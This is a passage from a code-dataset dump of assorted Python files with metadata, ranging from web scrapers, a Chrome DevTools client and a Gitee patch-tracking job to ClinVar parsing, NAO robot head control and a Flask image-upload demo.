spider = Code_spider()\n spider.get_MainUrl()\n print('开始爬取下载链接...')\n spider.work('get_DownUrl')\n print('开始下载文件...')\n spider.work('down_load')\n\n end_time = time.time()\n print(\"下载总时间:\", end_time - start_time)\n","sub_path":"mtp_getProject.py","file_name":"mtp_getProject.py","file_ext":"py","file_size_in_byte":4529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"525894958","text":"from bs4 import BeautifulSoup\nimport urllib.request\nimport os\nimport time\nimport platform\nimport time\nimport sys\n\ncontract = sys.argv[1]\n#contract = 'CZ14'\n\n#yahoo url to find the commodity price\nurl = \"http://finance.yahoo.com/q?s={0}.CBT\".format(contract)\n\n#downloads the html page to memory\nhtmlcontent = urllib.request.urlopen(url).read()\n\n#converts to beautiful soup content\nsoup = BeautifulSoup(htmlcontent)\n\n#parses out the line with price\nsoup_price = soup.find_all(id='yfs_l10_{0}.cbt'.format(contract.lower()))\n\n#parses out the price from line\nprice = str(soup_price[0]).split('<')[1].split('>')[-1]\n\n#parses out the line with the time\nsoup_time = soup.find_all(id='yfs_market_time')\n\n#parses out the time from the line\ntmp_time = str(soup_time).split('>')[1].split('-')[0].split(',')[1:4]\n\n#pulls out all the time variables\nmon = tmp_time[0].strip().split()[0]\nday = tmp_time[0].strip().split()[1]\nyear = tmp_time[1].strip()\nhour = tmp_time[2].strip().split(':')[0]\nminute = tmp_time[2].strip().split(':')[1][0:2]\nper = tmp_time[2].strip().split(':')[1][2:4]\n\n#turns hour into 24 hour notation\nif per == 'PM':\n hour = str(int(hour) + 12)\n\n#converts to python time format\ndatetime = time.strptime(\"{0} {1} {2} {3} {4}\".format(day, mon, year, hour, minute), \"%d %b %Y %H %M\")\n\n#pulls out time into different variables\nd_mon = str(datetime.tm_mon).zfill(2)\nd_day = str(datetime.tm_mday).zfill(2)\nd_year = datetime.tm_year\nd_hour = str(datetime.tm_hour).zfill(2)\nd_min = str(datetime.tm_min).zfill(2)\n\n#creates the time output\nout_time = \"{0}-{1}-{2} {3}:{4}\".format(d_year, d_mon, d_day, d_hour, d_min)\n\n#prints price and time\nprint(contract + \": \" + price +\" \"+ out_time)\n\n","sub_path":"web_parser.py","file_name":"web_parser.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"74994093","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nimport requests\n\nfrom .tab import Tab\n\n\n__all__ = [\"Browser\"]\n\n\nclass Browser(object):\n _all_tabs = {}\n\n def __init__(self, url=\"http://127.0.0.1:9222\"):\n self.dev_url = url\n\n if self.dev_url not in self._all_tabs:\n self._tabs = self._all_tabs[self.dev_url] = {}\n else:\n self._tabs = self._all_tabs[self.dev_url]\n rp = requests.get(\"%s/json/version\" % self.dev_url)\n version_data = rp.json()\n self.websocket_url = version_data['webSocketDebuggerUrl']\n self._connection = None # type: Tab\n\n @property\n def connection(self):\n \"\"\"\n The main websocket connection to the remote browser.\n If a connection is not active it will be created.\n\n :rtype: Tab\n \"\"\"\n if self._connection is None:\n self._connection = Tab(\n id='browser', type='browser', webSocketDebuggerUrl=self.websocket_url)\n self._connection.start()\n return self._connection\n\n @connection.deleter\n def connection(self):\n if self._connection is not None:\n self._connection.stop()\n self._connection = None\n\n def new_tab(self, url=None, timeout=None):\n url = url or ''\n rp = requests.get(\"%s/json/new?%s\" % (self.dev_url, url), json=True, timeout=timeout)\n tab = Tab(**rp.json())\n self._tabs[tab.id] = tab\n return tab\n\n def new_context_tab(self, url=None, timeout=None, browser_context=None):\n \"\"\"\n Create a new tab in a new browser context. This tab will then have it's own\n cookies, storage etc. The Tab will have the 'browser_context' property set\n\n :param url: Url to start new tab with\n :param timeout: How long to wait for a response from the remote browser\n :param browser_context: If supplide reuses existing browser context to create tab\n :return: The Tab object for the new context\n :rtype: Tab\n \"\"\"\n url = url or 'about:blank'\n connection = self.connection\n if not browser_context:\n context = connection.Target.createBrowserContext()\n browser_context = context['browserContextId']\n target = connection.Target.createTarget(\n url=url, browserContextId=browser_context)\n self.list_tab(timeout=timeout)\n if target['targetId'] in self._tabs:\n tab = self._tabs[target['targetId']]\n tab.browser_context = browser_context\n else:\n raise KeyError(\"Failed to find tab with target ID: {}\".format(target['targetId']))\n return tab\n\n def list_tab(self, timeout=None):\n rp = requests.get(\"%s/json\" % self.dev_url, json=True, timeout=timeout)\n tabs_map = {}\n for tab_json in rp.json():\n if tab_json['type'] != 'page': # pragma: no cover\n continue\n\n if tab_json['id'] in self._tabs and self._tabs[tab_json['id']].status != Tab.status_stopped:\n tabs_map[tab_json['id']] = self._tabs[tab_json['id']]\n else:\n tabs_map[tab_json['id']] = Tab(**tab_json)\n\n self._tabs = tabs_map\n return list(self._tabs.values())\n\n def activate_tab(self, tab_id, timeout=None):\n if isinstance(tab_id, Tab):\n tab_id = tab_id.id\n\n rp = requests.get(\"%s/json/activate/%s\" % (self.dev_url, tab_id), timeout=timeout)\n return rp.text\n\n def close_tab(self, tab_id, timeout=None):\n if isinstance(tab_id, Tab):\n tab_id = tab_id.id\n\n tab = self._tabs.pop(tab_id, None)\n if tab and tab.status == Tab.status_started: # pragma: no cover\n tab.stop()\n\n rp = requests.get(\"%s/json/close/%s\" % (self.dev_url, tab_id), timeout=timeout)\n return rp.text\n\n def version(self, timeout=None):\n rp = requests.get(\"%s/json/version\" % self.dev_url, json=True, timeout=timeout)\n return rp.json()\n\n def __str__(self):\n return '' % self.dev_url\n\n __repr__ = __str__\n","sub_path":"pychrome/browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":4133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"279492151","text":"\n# coding: utf-8\n\n# # Iterating and concatenating all matches\n\n# In[1]:\n\nimport pandas as pd\n\n\n# In[2]:\n\nimport glob\n\n\n# In[3]:\n\npwd\n\n\n# In[4]:\n\nsearch_pattern = 'Datasets/132719078_T_T100D_MARKET_US_CARRIER_ONLY_????.csv'\n\n\n# In[5]:\n\ncsv_files = glob.glob(search_pattern)\n\n\n# In[6]:\n\ncsv_files\n\n\n# In[9]:\n\nframes = []\n\n\n# In[10]:\n\nfor csv in csv_files:\n df = pd.read_csv(csv, low_memory=False)\n frames.append(df)\n\n\n# In[11]:\n\n# frames\n\n\n# In[12]:\n\non_time_data = pd.concat(frames)\n\n\n# In[13]:\n\non_time_data.shape\n\n\n# In[14]:\n\non_time_data.dtypes\n\n\n# In[15]:\n\non_time_data.info()\n\n\n# In[ ]:\n\n\n\n","sub_path":"python/Iterating_and_concatenating_all_matches.py","file_name":"Iterating_and_concatenating_all_matches.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"618218335","text":"from django.core.mail import EmailMultiAlternatives\n\ndef make_random_string(length=10,\n allowed_chars='abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789'):\n import random\n try:\n random = random.SystemRandom()\n except NotImplementedError:\n pass\n return ''.join([random.choice(allowed_chars) for i in range(length)])\n\n\nclass lazy_string(object):\n \"\"\"This is a function that allows other functions\n to be lazy when they are read\"\"\"\n def __init__(self, function, *args, **kwargs):\n self.function = function\n self.args = args\n self.kwargs = kwargs\n\n def __str__(self):\n if not hasattr(self, 'str'):\n self.str = self.function(*self.args, **self.kwargs)\n return self.str\n\n\ndef reverse_lazy(*args, **kwargs):\n \"\"\"Lazy version of reverse using lazy_string above\"\"\"\n from django.core.urlresolvers import reverse\n return lazy_string(reverse, *args, **kwargs)\n\ndef send_email(subject, plaintext_content, to_email, html_content):\n msg = EmailMultiAlternatives(subject, plaintext_content, 'flightspyer@gmail.com', [to_email])\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n \n","sub_path":"flightspyer/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"323087170","text":"\"\"\"\ntracking job\n\"\"\"\nimport logging\nimport base64\nimport datetime\nimport time\nimport random\nfrom sqlalchemy.exc import SQLAlchemyError\nfrom patch_tracking.util.gitee_api import create_branch, upload_patch, create_gitee_issue\nfrom patch_tracking.util.gitee_api import create_pull_request, get_path_content, upload_spec, create_spec\nfrom patch_tracking.database.models import Tracking\nfrom patch_tracking.api.business import update_tracking, create_issue\nfrom patch_tracking.task import scheduler\nfrom patch_tracking.util.spec import Spec\nfrom patch_tracking.util.upstream import Factory\n\nlogger = logging.getLogger(__name__)\n\n\ndef upload_patch_to_gitee(track):\n \"\"\"\n upload a patch file to Gitee\n \"\"\"\n cur_time = datetime.datetime.now().strftime(\"%Y%m%d%H%M%S%f\")\n with scheduler.app.app_context():\n logger.info('[Patch Tracking %s] track.scm_commit_id: %s.', cur_time, track.scm_commit)\n git_api = Factory.create(track)\n patch = get_scm_patch(track, git_api)\n if patch:\n issue = create_patch_issue_pr(patch, cur_time, git_api)\n if issue:\n create_issue_db(issue)\n else:\n logger.info('[Patch Tracking %s] No issue need to create.', cur_time)\n else:\n logger.debug('[Patch Tracking %s] No new commit.', cur_time)\n\n\ndef get_scm_patch(track, git_api):\n \"\"\"\n Traverse the Tracking data table to get the patch file of enabled warehouse.\n Different warehouse has different acquisition methods\n :return:\n \"\"\"\n scm_dict = dict(\n scm_repo=track.scm_repo,\n scm_branch=track.scm_branch,\n scm_commit=track.scm_commit,\n enabled=track.enabled,\n repo=track.repo,\n branch=track.branch,\n version_control=track.version_control\n )\n\n commit_list = git_api.get_scm_patch()\n if commit_list:\n scm_dict['commit_list'] = commit_list\n return scm_dict\n logger.info('repo: %s branch: %s. get_latest_commit is None.', scm_dict['scm_repo'], scm_dict['scm_branch'])\n\n return None\n\n\ndef create_patch_issue_pr(patch, cur_time, git_api):\n \"\"\"\n Create temporary branches, submit files, and create PR and issue\n :return:\n \"\"\"\n issue_dict = dict()\n gitee_repo = patch[\"repo\"].replace(\"https://gitee.com/\", \"\")\n issue_dict['repo'] = patch['repo']\n issue_dict['branch'] = patch['branch']\n new_branch = 'patch-tracking/' + cur_time\n result = create_branch(gitee_repo, patch['branch'], new_branch)\n if result == 'success':\n logger.info('[Patch Tracking %s] Successful create branch: %s', cur_time, new_branch)\n else:\n logger.error('[Patch Tracking %s] Fail to create branch: %s', cur_time, new_branch)\n return None\n patch_lst = list()\n for latest_commit in patch['commit_list']:\n scm_commit_url = '/'.join(['https://github.com', patch['scm_repo'], 'commit', latest_commit['commit_id']])\n latest_commit['message'] = latest_commit['message'].replace(\"\\r\", \"\").replace(\"\\n\", \"
\")\n\n patch_file_content = latest_commit['patch_content']\n post_data = {\n 'repo': gitee_repo,\n 'branch': new_branch,\n 'latest_commit_id': latest_commit['commit_id'],\n 'patch_file_content': str(patch_file_content),\n 'cur_time': cur_time,\n 'commit_url': scm_commit_url\n }\n result = upload_patch(post_data)\n if result == 'success':\n logger.info(\n '[Patch Tracking %s] Successfully upload patch file of commit: %s', cur_time, latest_commit['commit_id']\n )\n else:\n logger.error(\n '[Patch Tracking %s] Fail to upload patch file of commit: %s', cur_time, latest_commit['commit_id']\n )\n return None\n patch_lst.append(str(latest_commit['commit_id']))\n\n result = upload_spec_to_repo(patch, patch_lst, cur_time)\n if result == \"success\":\n logger.info('[Patch Tracking %s] Successfully upload spec file.', cur_time)\n else:\n logger.error('[Patch Tracking %s] Fail to upload spec file. Result: %s', cur_time, result)\n return None\n\n issue_table = git_api.issue_table(patch['commit_list'])\n logger.debug(issue_table)\n result = create_gitee_issue(gitee_repo, patch['branch'], issue_table, cur_time)\n if result[0] == 'success':\n issue_num = result[1]\n logger.info('[Patch Tracking %s] Successfully create issue: %s', cur_time, issue_num)\n\n retry_count = 10\n while retry_count > 0:\n ret = create_pull_request(gitee_repo, patch['branch'], new_branch, issue_num, cur_time)\n if ret == 'success':\n logger.info('[Patch Tracking %s] Successfully create PR of issue: %s.', cur_time, issue_num)\n break\n logger.warning('[Patch Tracking %s] Fail to create PR of issue: %s. Result: %s', cur_time, issue_num, ret)\n retry_count -= 1\n time.sleep(random.random() * 5)\n if retry_count == 0:\n logger.error('[Patch Tracking %s] Fail to create PR of issue: %s.', cur_time, issue_num)\n return None\n\n issue_dict['issue'] = issue_num\n\n data = {\n 'version_control': patch['version_control'],\n 'repo': patch['repo'],\n 'branch': patch['branch'],\n 'enabled': patch['enabled'],\n 'scm_commit': patch['commit_list'][-1]['commit_id'],\n 'scm_branch': patch['scm_branch'],\n 'scm_repo': patch['scm_repo']\n }\n try:\n update_tracking(data)\n except SQLAlchemyError as err:\n logger.error('[Patch Tracking %s] Fail to update tracking: %s. Result: %s', cur_time, data, err)\n else:\n logger.error('[Patch Tracking %s] Fail to create issue: %s. Result: %s', cur_time, issue_table, result[1])\n return None\n\n return issue_dict\n\n\ndef upload_spec_to_repo(patch, patch_lst, cur_time):\n \"\"\"\n update and upload spec file\n \"\"\"\n new_branch = 'patch-tracking/' + cur_time\n gitee_repo = patch[\"repo\"].replace(\"https://gitee.com/\", \"\")\n _, repo_name = gitee_repo.split('/')\n spec_file = repo_name + '.spec'\n\n patch_file_lst = [patch + '.patch' for patch in patch_lst]\n\n log_title = \"{} patch-tracking\".format(datetime.datetime.now().strftime(\"%a %b %d %Y\"))\n log_content = \"append patch file of upstream repository from <{}> to <{}>\".format(patch_lst[0], patch_lst[-1])\n\n ret = get_path_content(gitee_repo, patch['branch'], spec_file)\n if 'content' in ret:\n spec_content = str(base64.b64decode(ret['content']), encoding='utf-8')\n spec_sha = ret['sha']\n new_spec = modify_spec(log_title, log_content, patch_file_lst, spec_content)\n result = update_spec_to_repo(gitee_repo, new_branch, cur_time, new_spec, spec_sha)\n else:\n spec_content = ''\n new_spec = modify_spec(log_title, log_content, patch_file_lst, spec_content)\n result = create_spec_to_repo(gitee_repo, new_branch, cur_time, new_spec)\n\n return result\n\n\ndef modify_spec(log_title, log_content, patch_file_lst, spec_content):\n \"\"\"\n modify spec file\n \"\"\"\n spec = Spec(spec_content)\n return spec.update(log_title, log_content, patch_file_lst)\n\n\ndef update_spec_to_repo(repo, branch, cur_time, spec_content, spec_sha):\n \"\"\"\n update spec file\n \"\"\"\n ret = upload_spec(repo, branch, cur_time, spec_content, spec_sha)\n if ret == 'success':\n logger.info('[Patch Tracking %s] Successfully update spec file.', cur_time)\n else:\n logger.error('[Patch Tracking %s] Fail to update spec file. Result: %s', cur_time, ret)\n\n return ret\n\n\ndef create_spec_to_repo(repo, branch, cur_time, spec_content):\n \"\"\"\n create new spec file\n \"\"\"\n ret = create_spec(repo, branch, spec_content, cur_time)\n if ret == 'success':\n logger.info('[Patch Tracking %s] Successfully create spec file.', cur_time)\n else:\n logger.error('[Patch Tracking %s] Fail to create spec file. Result: %s', cur_time, ret)\n\n return ret\n\n\ndef create_issue_db(issue):\n \"\"\"\n create issue into database\n \"\"\"\n issue_num = issue['issue']\n tracking = Tracking.query.filter_by(repo=issue['repo'], branch=issue['branch']).first()\n tracking_repo = tracking.repo\n tracking_branch = tracking.branch\n data = {'issue': issue_num, 'repo': tracking_repo, 'branch': tracking_branch}\n logger.debug('issue data: %s', data)\n create_issue(data)\n","sub_path":"patch_tracking/task/task_apscheduler.py","file_name":"task_apscheduler.py","file_ext":"py","file_size_in_byte":8522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"415180187","text":"#!/usr/bin/env python3\n\nimport argparse\nfrom collections import Counter\nimport gzip\nimport re\nimport sys\nimport xml.etree.ElementTree as ElementTree\n\nSIG_STARS = {\n 'practice guideline': 4,\n 'reviewed by expert panel': 3,\n 'criteria provided, multiple submitters, no conflicts': 2,\n 'criteria provided, conflicting interpretations': 1,\n 'criteria provided, single submitter': 1,\n}\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--clinvar-xml', required=True)\nargs = parser.parse_args()\n\n\ndef add_transitions(transitions_counter, transition_chain):\n \"\"\"Increments the count of a particular flow in Sankey diagram.\"\"\"\n for transition_from, transition_to in zip(transition_chain, transition_chain[1:]):\n transitions_counter[(transition_from, transition_to)] += 1\n\n\ndef find_attribute(rcv, xpath, attribute_name):\n \"\"\"Find an attribute in the RCV record which can have either zero or one occurrence. Return a textual representation\n of the attribute, including special representations for the case of zero or multiple, constructed using the\n attribute_name parameter.\"\"\"\n\n attributes = rcv.findall(xpath)\n if len(attributes) == 0:\n return '{} missing'.format(attribute_name)\n elif len(attributes) == 1:\n return attributes[0].text\n else:\n return '{} multiple'.format(attribute_name)\n\n\ndef review_status_stars(review_status):\n black_stars = SIG_STARS.get(review_status, 0)\n white_stars = 4 - black_stars\n return '★' * black_stars + '☆' * white_stars\n\n\n# The dicts store transition counts for the Sankey diagrams. Keys are (from, to), values are transition counts.\n# Sankey diagrams can be visualised with SankeyMatic (see http://www.sankeymatic.com/build/).\nvariant_type_transitions, clin_sig_transitions, review_status_transitions, inheritance_mode_transitions,\\\n allele_origin_transitions = Counter(), Counter(), Counter(), Counter(), Counter()\nall_clinical_significance_levels = set()\n\n\n# ClinVar XML have the following top-level structure:\n# \n# ...\n# ...\n# ...\n# \n# To not load everything into memory, we use iterparse, wait for a complete ClinVarSet element, and then remove it from\n# the tree because we don't need it anymore.\n\nelements_processed = 0\nfor event, elem in ElementTree.iterparse(gzip.open(args.clinvar_xml)):\n\n # Wait until we have built a complete ClinVarSet element. Skip\n if elem.tag != 'ClinVarSet':\n continue\n\n # Go to a ReferenceClinVarAssertion element. This corresponds to a single RCV record, the main unit of ClinVar.\n # There should only be one such record per ClinVarSet.\n rcv_records = elem.findall('ReferenceClinVarAssertion')\n assert len(rcv_records) == 1, 'Found multiple RCV records per ClinVarSet'\n rcv = rcv_records[0]\n rcv_id = 'RCV{:09}'.format(int(rcv.attrib['ID']))\n\n # RCV can contain either a MeasureSet, or a GenotypeSet. It must not contain both.\n measure_sets = rcv.findall('MeasureSet')\n genotype_sets = rcv.findall('GenotypeSet')\n if len(measure_sets) == 1 and len(genotype_sets) == 0:\n # Most common case. RCV directly contains one measure set.\n measure_set = measure_sets[0]\n measure_set_type = measure_set.attrib['Type']\n add_transitions(variant_type_transitions, ('RCV', 'MeasureSet', measure_set_type))\n\n if measure_set_type == 'Variant':\n # Most common case, accounting for >99.95% of all ClinVar records.. Here, we go into details on various\n # attribute distributions.\n\n # Variant type\n measures = measure_set.findall('Measure')\n assert len(measures) == 1, 'MeasureSet of type Variant must contain exactly one Measure'\n add_transitions(variant_type_transitions, (measure_set_type, measures[0].attrib['Type']))\n\n # Clinical significance\n clinical_significance = find_attribute(\n rcv, 'ClinicalSignificance/Description', 'ClinicalSignificance')\n all_clinical_significance_levels.add(clinical_significance)\n significance_type = 'Complex' if re.search('[,/]', clinical_significance) else 'Simple'\n add_transitions(clin_sig_transitions, (\n 'Variant',\n significance_type,\n clinical_significance,\n ))\n\n # Review status\n review_status = find_attribute(\n rcv, 'ClinicalSignificance/ReviewStatus', 'ReviewStatus')\n add_transitions(review_status_transitions, (\n 'Variant',\n review_status_stars(review_status),\n review_status,\n ))\n\n # Mode of inheritance\n mode_of_inheritance_xpath = 'AttributeSet/Attribute[@Type=\"ModeOfInheritance\"]'\n mode_of_inheritance = find_attribute(rcv, mode_of_inheritance_xpath, 'ModeOfInheritance')\n if mode_of_inheritance.endswith('multiple'):\n # Having multiple ModeOfInheritance is rare. Log them for further investigation\n all_modes = '|'.join(sorted(mode.text for mode in rcv.findall(mode_of_inheritance_xpath)))\n print(f'Multiple ModeOfInheritance\\t{rcv_id}\\t{all_modes}')\n add_transitions(inheritance_mode_transitions, (\n 'Variant',\n mode_of_inheritance if mode_of_inheritance.endswith('missing') else 'ModeOfInheritance present',\n ))\n if not mode_of_inheritance.endswith('missing'):\n add_transitions(inheritance_mode_transitions, (\n 'ModeOfInheritance present', mode_of_inheritance\n ))\n elif len(measure_sets) == 0 and len(genotype_sets) == 1:\n # RCV directly contains one genotype set.\n genotype_set = genotype_sets[0]\n add_transitions(variant_type_transitions, ('RCV', 'GenotypeSet', genotype_set.attrib['Type']))\n else:\n raise AssertionError('RCV must contain either exactly one measure set, or exactly one genotype set')\n\n allele_origins = {origin.text for origin in rcv.findall('ObservedIn/Sample/Origin')}\n if len(allele_origins) == 0:\n add_transitions(allele_origin_transitions, ('RCV', 'No allele origin'))\n else:\n allele_origins_count = 'Single allele origin' if len(allele_origins) == 1 else 'Multiple allele origins'\n allele_origins_text = ','.join(sorted(allele_origins))\n add_transitions(allele_origin_transitions, ('RCV', allele_origins_count, allele_origins_text))\n\n # Remove the processed element from the tree to save memory\n elem.clear()\n\n # Track the number of already processed elements\n elements_processed += 1\n if elements_processed % 10000 == 0:\n print('Processed {} elements'.format(elements_processed), file=sys.stderr)\n\n# Output the code for Sankey diagram. Transitions are sorted in decreasing number of counts, so that the most frequent\n# cases are on top.\nfor transitions_counter in (variant_type_transitions, clin_sig_transitions, review_status_transitions,\n inheritance_mode_transitions, allele_origin_transitions):\n print()\n for (transition_from, transition_to), count in sorted(transitions_counter.items(), key=lambda x: -x[1]):\n print('{transition_from} [{count}] {transition_to}'.format(**locals()))\n\nprint('\\n\\nAll clinical significance levels:')\nfor clin_sig in sorted(all_clinical_significance_levels):\n print(clin_sig)\n","sub_path":"clinvar-variant-types/clinvar-variant-types.py","file_name":"clinvar-variant-types.py","file_ext":"py","file_size_in_byte":7531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"205550789","text":"import googlemaps\nfrom datetime import datetime\nimport json\n#Will get API key when needed.\ngmaps = googlemaps.Client(key='')\n# Geocoding an address\ngeocode_result = gmaps.geocode('476 5th Ave, New York, NY 10018')\nlocation = geocode_result[0]['geometry']['location']\n\nplace_details = gmaps.places(query = '', location = location, radius = 1, type = 'restaurant')\n\nresults = []\nfor i in range(len(place_details['results'])):\n helper = gmaps.distance_matrix(location, place_details['results'][i]['geometry']['location'])\n try:\n result = ((-.5 * place_details['results'][i]['price_level']) + place_details['results'][i]['rating'])/(float(helper['rows'][0]['elements'][0]['distance']['text'].split(' ')[0]))\n results.append((place_details['results'][i]['name'], result))\n except:\n results.append((place_details['results'][i]['name'],0))\n\nprint(results)\n# Look up an address with reverse geocoding\nreverse_geocode_result = gmaps.reverse_geocode((40.714224, -73.961452))\n\n# Request directions via public transit\nnow = datetime.now()\ndirections_result = gmaps.directions(\"Sydney Town Hall\",\n \"Parramatta, NSW\",\n mode=\"transit\",\n departure_time=now)\n\nprint(\"test\")\n","sub_path":"Intersections_Project.py","file_name":"Intersections_Project.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"360622397","text":"import time\nfrom naoqi import ALProxy\nfrom math import radians\n\ndef move_head(headxpos, headypos, im_width, im_height, IP, motionProxy):\n \"\"\"INFINITE MAGIC NUMBERS INCOMING.\"\"\"\n width = im_width\n height = im_height\n # for yaw:\n # 640 = pixel width using kVGA\n # camera angle is 60.97\n # 1 degree = 10.49 pixel difference\n # for pitch:\n # 480 = pixel heigth using kVGA\n # angle is 47.64\n # 1 degree = 10.075 pixel diff\n # Yaw is turning , left is positive, right is negative.\n\n # get current angles of the head\n currentAngle = motionProxy.getAngles(\"HeadYaw\", True)[0]\n # MOVE HEAD LEFT\n if headxpos < (width/2 - 5):\n pdiff = abs((width/2 - 5) - headxpos)\n turn = radians(pdiff / 10.49)\n speed = abs(0.6 * turn*2)\n if speed > 0.8:\n speed = 0.8\n if speed < 0.2:\n speed = 0.2\n if currentAngle < 1.95:\n motionProxy.setAngles(\"HeadYaw\", currentAngle + turn, speed)\n\n # MOVE HEAD RIGHT\n if headxpos > (width/2 + 5):\n pdiff = abs((width/2 + 5) - headxpos)\n turn = radians(pdiff / 10.49)\n speed = abs(0.6 * turn*2)\n if speed > 0.8:\n speed = 0.8\n if speed < 0.2:\n speed = 0.2\n if currentAngle > -1.95:\n motionProxy.setAngles(\"HeadYaw\", currentAngle - turn, speed)\n\n # MOVE HEAD UP\n currentAngle = motionProxy.getAngles(\"HeadPitch\", True)[0]\n if headypos > (height/2 - 5):\n pdiff = abs((height/2 - 5) - headypos)\n turn = radians(pdiff / 10.075)\n speed = abs(0.6 * turn*2)\n if speed > 0.8:\n speed = 0.8\n if speed < 0.2:\n speed = 0.2\n if currentAngle < 0.51:\n motionProxy.setAngles(\"HeadPitch\", currentAngle + turn, speed)\n\n # MOVE HEAD DOWN\n if headypos < (height/2 + 5):\n pdiff = abs((height/2 - 5) - headypos)\n turn = radians(pdiff / 10.075)\n speed = abs(0.6 * turn*2)\n if speed > 0.8:\n speed = 0.8\n if speed < 0.2:\n speed = 0.2\n if currentAngle > -0.65:\n motionProxy.setAngles(\"HeadPitch\", currentAngle - turn, speed)\n\n StiffnessOn(motionProxy)\n motionProxy.stiffnessInterpolation(\"Head\", 0.0, 0.5)\n motionProxy.stopMove()\n\ndef StiffnessOn(proxy):\n # We use the \"Body\" name to signify the collection of all joints\n pNames = \"Head\"\n pStiffnessLists = 1.0\n pTimeLists = 1.0\n proxy.stiffnessInterpolation(pNames, pStiffnessLists, pTimeLists)\n\ndef stiffnessOff(proxy):\n pNames = \"Body\"\n pStiffnessLists = 0.0\n pTimeLists = 1.0\n proxy.stiffnessInterpolation(pNames, pStiffnessLists, pTimeLists)\n# shut down Nao\n","sub_path":"media_conversation/headmotions.py","file_name":"headmotions.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"152591079","text":"from character import character\nfrom copy import deepcopy\nobjectThatCanKill = [\"stone\", \"sword\", \"stick\"]\nfrom random import randint\n\nclass badCharacter(character):\n def __init__(self, name, state):\n self.killMeObjects = []\n character.__init__(self, name, state)\n\n def nameCreator(self):\n nameArray = ['Norman', 'Paula', 'Devin', 'Heather', 'Taylor', 'Regina', 'Regina', 'Dylan']\n randomName = randint(0,7)\n self.nickname = nameArray[randomName]\n print(self.nickname)\n\n def canKillMe(self, objectsInGame):\n for i in objectsInGame:\n if i in objectThatCanKill:\n self.killMeObjects.append(i)\n\n def copyCharacter(self, copyFrom):\n newCharacter = badCharacter(copyFrom.name, copyFrom.state)\n newCharacter.bag = deepcopy(copyFrom.bag)\n newCharacter.location = deepcopy(copyFrom.location)\n newCharacter.killMeObjects = deepcopy(copyFrom.killMeObjects)\n newCharacter.nickname = deepcopy(copyFrom.nickname)\n return newCharacter\n\n def calcPoints(self, hero, good, currLocation):\n totalScore = 0\n if (hero.state == 2):\n totalScore += 20\n if (self.location == \"east river\"):\n totalScore += 6\n if (len(self.bag) >= 1):\n totalScore += 4\n if (self.location == \"castle\"):\n totalScore += 12\n if (good.state == 2):\n totalScore += 5\n for i in currLocation.whoIsHere:\n if (hero.name == i.name and hero.state !=2):\n totalScore -= 8\n return totalScore\n","sub_path":"badCharacter.py","file_name":"badCharacter.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"393404226","text":" # -*- coding: utf-8 -*-\nimport os\nimport hashlib\nimport datetime\nimport requests\nfrom flask import Flask\nfrom flask import render_template,jsonify,request,abort,url_for\nfrom werkzeug import secure_filename\nfrom PIL import Image\nfrom StringIO import StringIO\n\nUPLOAD_FOLDER = '/var/www/sr/env/app/static/uploads/'\n# UPLOAD_FOLDER = './static/uploads/'\nALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'md'])\n\napp = Flask(__name__)\n#app.debug = True\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['MAX_CONTENT_LENGTH'] = 3 * 1024 * 1024\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS\n\n\ndef generate_filename(filename):\n\tnow_time = datetime.datetime.now()\n\tfilename_secure = secure_filename(filename)\n\tfilename_name, filename_type = filename_secure.rsplit('.', 1)\n\tfilename_after_hash = hashlib.sha256(filename + str(now_time)).hexdigest() + '.' + filename_type\t\n\treturn filename_after_hash\n\n@app.route('/')\ndef index(title = None):\n\ttitle = \"index\"\n\treturn render_template('index.html', title = title)\n\n@app.route('/about')\ndef about():\n\treturn render_template('about.html')\n\n@app.route('/demo',methods=['GET'])\ndef demo():\n\treturn render_template('demo.html')\n\n@app.route('/demo',methods=['POST'])\ndef upload():\n\tfile = request.files['img']\n\tif file and allowed_file(file.filename):\n\t\tfilename = generate_filename(file.filename)\n\t\tfilepath = app.config['UPLOAD_FOLDER']+filename\n\t\tfile.save(filepath)\n\t\tos.system('RUN YOUR LINUX INSTRCTION FOR PYTHON/MATLAB SCRIPTS')\n\t\t\n\t\treturn jsonify({\"status\":\"ok\",\n\t\t\t\t\t\t\"img_old_url\":url_for('static', filename='uploads/'+ filename),\n\t\t\t\t\t\t\"img_new_url\":url_for('static', filename='uploads/'+ filename + '.sr.png')\n\t\t\t\t\t\t})\n\telse:\n\t\treturn jsonify({\"status\":\"error\",\"message\":\"not vailid img type\"}),400\n\n\n@app.route('/contact')\ndef contact():\n\treturn render_template('contact.html')\n\n\nif __name__ == '__main__':\n app.run(host = '0.0.0.0')\n","sub_path":"homepage/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"612911810","text":"from common import *\n\nimport os\nfrom scipy.sparse import 